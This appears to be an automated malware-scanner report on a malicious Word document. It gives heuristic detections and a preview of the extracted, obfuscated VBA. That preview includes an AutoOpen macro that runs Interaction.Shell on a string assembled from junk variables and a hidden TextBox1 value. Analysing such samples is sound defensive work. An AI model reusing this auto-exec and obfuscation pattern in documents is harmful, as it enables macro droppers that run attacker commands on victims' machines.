MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers a call to the Shell() function, which is a critical finding. This indicates the macro is designed to execute arbitrary commands, likely to download and run a second-stage payload. The specific command executed is obfuscated but involves a call to Shell() with a string that includes 's66286461987.TextBox1', suggesting interaction with a document element.
Heuristics 7
-
ClamAV: Doc.Malware.Generic-6791456-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-6791456-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5339 bytes |
SHA-256: 668c68c469c702a6546c36318bc13110fc789fafeea9728579064c3671c6452f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "s66286461987"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
H1284181
End Sub
Attribute VB_Name = "s1673518"
Function H1284181()
On Error Resume Next
a2142 = i5659
Q488 = T899
Select Case j827975396050796656
Case 334291733
z5327 = D1002
D5335 = z046
H951 = CByte(j9349 / CByte(k3962))
Case 7770838
L068 = v2641
h165 = F336
End Select
Q289 = Y814
z0626 = S3594
F8297 = d828
v1383 = K429
Select Case z57572869031804
Case 86819529
V6131 = F7980
p760 = n822
U169 = CByte(i168 / CByte(s7068))
Case 270433855
b6885 = L1471
J7141 = A739
End Select
c401 = G802
s265 = z3487
T620 = O5871
B128 = Z229
Select Case o38376226910553
Case 142973655
L918 = H4567
M641 = N7457
k471 = CByte(B178 / CByte(i103))
Case 276069445
N149 = u891
z1290 = o0282
End Select
z440 = q6648
z431 = M9681
t79132839 = Array(M9990655, E2585595, z87815922, Interaction.Shell(("" + v672543 + T81593650 + V7131959 + s66286461987.TextBox1) + r41076 + w994288 + N131643 + a41794, 75 - 75), t650527, G74542, D46616776)
b8605 = r140
u5528 = c112
Select Case d61978844523651718
Case 162746389
W839 = n0229
o423 = v6414
j282 = CByte(o7554 / CByte(j0833))
Case 332200710
q6264 = u421
c5525 = E189
End Select
Z748 = k358
c4389 = s436
k2833 = l5345
d2088 = p4637
Select Case w1144182866089903
Case 198065376
m2614 = t379
Q5564 = Z422
R8060 = CByte(w791 / CByte(M0151))
Case 228635730
Y9241 = B526
Y0582 = l1859
End Select
u184 = a592
V7451 = l6695
N159 = i090
t505 = m1268
Select Case B149867866420550863612
Case 312928480
S7186 = d7373
C062 = G576
z129 = CByte(i426 / CByte(G5615))
Case 301960019
t170 = J598
H307 = T171
End Select
o4041 = R965
j517 = q4897
End Function
Attribute VB_Name = "b59380957"
Attribute VB_Name = "P308087676"
Attribute VB_Name = "j9043010976"
Attribute VB_Name = "j3220019286896"
Attribute VB_Name = "b8781248775665"
Attribute VB_Name = "J036548696615"
Attribute VB_Name = "T0249018695"
Attribute VB_Name = "W4819694642"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "u6734232"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "E8823871951"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "n17061592"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.